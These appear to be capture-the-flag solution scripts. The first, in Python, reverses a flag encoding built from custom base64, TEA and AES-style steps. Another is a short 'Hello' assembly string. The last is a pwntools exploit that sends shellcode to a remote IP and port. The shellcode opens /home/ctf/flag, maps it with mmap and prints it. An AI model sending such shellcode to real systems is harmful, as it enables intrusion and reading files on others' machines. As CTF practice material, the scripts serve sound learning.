1
import struct
2

3
b64table = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/"
4
target_b64 = "ZpopRs/uh9eE0BfNQcpJd7bB5BmSWuvQ+Ac/s/iPqjRESDLssGlpOAewRRPR7Py/"
5
tea_key = b"VRUSEKYE202YGLF6"
6
sbox = [
7
    0x52,0x09,0x6A,0xD5,0x30,0x36,0xA5,0x38,0xBF,0x40,0xA3,0x9E,0x81,0xF3,0xD7,0xFB,
8
    0x7C,0xE3,0x39,0x82,0x9B,0x2F,0xFF,0x87,0x34,0x8E,0x43,0x44,0xC4,0xDE,0xE9,0xCB,
9
    0x54,0x7B,0x94,0x32,0xA6,0xC2,0x23,0x3D,0xEE,0x4C,0x95,0x0B,0x42,0xFA,0xC3,0x4E,
10
    0x08,0x2E,0xA1,0x66,0x28,0xD9,0x24,0xB2,0x76,0x5B,0xA2,0x49,0x6D,0x8B,0xD1,0x25,
11
    0x72,0xF8,0xF6,0x64,0x86,0x68,0x98,0x16,0xD4,0xA4,0x5C,0xCC,0x5D,0x65,0xB6,0x92,
12
    0x6C,0x70,0x48,0x50,0xFD,0xED,0xB9,0xDA,0x5E,0x15,0x46,0x57,0xA7,0x8D,0x9D,0x84,
13
    0x90,0xD8,0xAB,0x00,0x8C,0xBC,0xD3,0x0A,0xF7,0xE4,0x58,0x05,0xB8,0xB3,0x45,0x06,
14
    0xD0,0x2C,0x1E,0x8F,0xCA,0x3F,0x0F,0x02,0xC1,0xAF,0xBD,0x03,0x01,0x13,0x8A,0x6B,
15
    0x3A,0x91,0x11,0x41,0x4F,0x67,0xDC,0xEA,0x97,0xF2,0xCF,0xCE,0xF0,0xB4,0xE6,0x73,
16
    0x96,0xAC,0x74,0x22,0xE7,0xAD,0x35,0x85,0xE2,0xF9,0x37,0xE8,0x1C,0x75,0xDF,0x6E,
17
    0x47,0xF1,0x1A,0x71,0x1D,0x29,0xC5,0x89,0x6F,0xB7,0x62,0x0E,0xAA,0x18,0xBE,0x1B,
18
    0xFC,0x56,0x3E,0x4B,0xC6,0xD2,0x79,0x20,0x9A,0xDB,0xC0,0xFE,0x78,0xCD,0x5A,0xF4,
19
    0x1F,0xDD,0xA8,0x33,0x88,0x07,0xC7,0x31,0xB1,0x12,0x10,0x59,0x27,0x80,0xEC,0x5F,
20
    0x60,0x51,0x7F,0xA9,0x19,0xB5,0x4A,0x0D,0x2D,0xE5,0x7A,0x9F,0x93,0xC9,0x9C,0xEF,
21
    0xA0,0xE0,0x3B,0x4D,0xAE,0x2A,0xF5,0xB0,0xC8,0xEB,0xBB,0x3C,0x83,0x53,0x99,0x61,
22
    0x17,0x2B,0x04,0x7E,0xBA,0x77,0xD6,0x26,0xE1,0x69,0x14,0x63,0x55,0x21,0x0C,0x7D,
23
]
24
inv_sbox = [0] * 256
25
for i in range(256):
26
    inv_sbox[sbox[i]] = i
27
mix_matrix = [
28
    [2, 3, 1, 1],
29
    [1, 2, 3, 1],
30
    [1, 1, 2, 3],
31
    [3, 1, 1, 2],
32
]
33
inv_mix_matrix = [
34
    [14, 11, 13,  9],
35
    [ 9, 14, 11, 13],
36
    [13,  9, 14, 11],
37
    [11, 13,  9, 14],
38
]
39
def gf_mul(a, b):
40
    p = 0
41
    for _ in range(8):
42
        if b & 1:
43
            p ^= a
44
        hi = a & 0x80
45
        a = (a << 1) & 0xFF
46
        if hi:
47
            a ^= 0x1B
48
        b >>= 1
49
    return p
50
def inv_mix_column(col):
51
    result = [0, 0, 0, 0]
52
    for i in range(4):
53
        for j in range(4):
54
            result[i] ^= gf_mul(inv_mix_matrix[i][j], col[j])
55
    return result
56
def custom_b64_decode(s, table):
57
    result = []
58
    for i in range(0, len(s), 4):
59
        c0 = table.index(s[i])
60
        c1 = table.index(s[i+1])
61
        c2 = table.index(s[i+2])
62
        c3 = table.index(s[i+3])
63
        val = (c0 << 18) | (c1 << 12) | (c2 << 6) | c3
64
        result.append((val >> 16) & 0xFF)
65
        result.append((val >> 8) & 0xFF)
66
        result.append(val & 0xFF)
67
    return bytes(result)
68
after_tea = custom_b64_decode(target_b64, b64table)
69
def tea_decrypt(block, key):
70
    v0, v1 = struct.unpack('<II', block)
71
    k = struct.unpack('<IIII', key)
72
    delta = 0x9E3779B9
73
    s = (delta * 32) & 0xFFFFFFFF
74
    for _ in range(32):
75
        v1 = (v1 - ((((v0 << 4) ^ (v0 >> 5)) + v0) ^ (s + k[(s >> 11) & 3]))) & 0xFFFFFFFF
76
        s = (s - delta) & 0xFFFFFFFF
77
        v0 = (v0 - ((((v1 << 4) ^ (v1 >> 5)) + v1) ^ (s + k[s & 3]))) & 0xFFFFFFFF
78
    return struct.pack('<II', v0, v1)
79
after_matrix = b''
80
for i in range(0, len(after_tea), 8):
81
    after_matrix += tea_decrypt(after_tea[i:i+8], tea_key)
82
data = list(after_matrix)
83
for i in range(0, 40, 4):
84
    col = data[i:i+4]
85
    inv_col = inv_mix_column(col)
86
    data[i:i+4] = inv_col
87
after_sbox = bytes(data)
88
plaintext = bytes([inv_sbox[b] for b in after_sbox])
89
print(f"{plaintext[:43].decode('ascii', errors='replace')}")

1
shellcode_asm = '''
2
mov rax, 0x0a6f6c6c6548
3
 push rax
4
 mov rdi, 1
5
 mov rsi, rsp
6
 mov rdx, 6
7
 mov rax, 1
8
 syscall
9
  '''

1
#!/usr/bin/env python3
2
from pwn import *
3
context.arch = 'amd64'
4
context.log_level = 'debug'
5

6
io = remote('220.168.118.182', 32680)
7

8
shellcode = shellcraft.pushstr("/home/ctf/flag")
9
shellcode += '''
10
    mov rdi, rsp
11
    xor rsi, rsi
12
    xor rdx, rdx
13
    mov rax, 2
14
    syscall
15

16
    mov r8, rax
17
    xor rdi, rdi
18
    mov rsi, 0x100
19
    mov rdx, 1
20
    mov r10, 2
21
    xor r9, r9
22
    mov rax, 9
23
    syscall
24

25
    mov rsi, rax
26
    mov rdi, 1
27
    mov rdx, 0x100
28
    mov rax, 1
29
    syscall
30

31
    mov rax, 60
32
    xor rdi, rdi
33
    syscall
34
'''
35

36
io.sendline(asm(shellcode))
37
print(io.recvall().strip().decode(errors='ignore'))
38
io.close()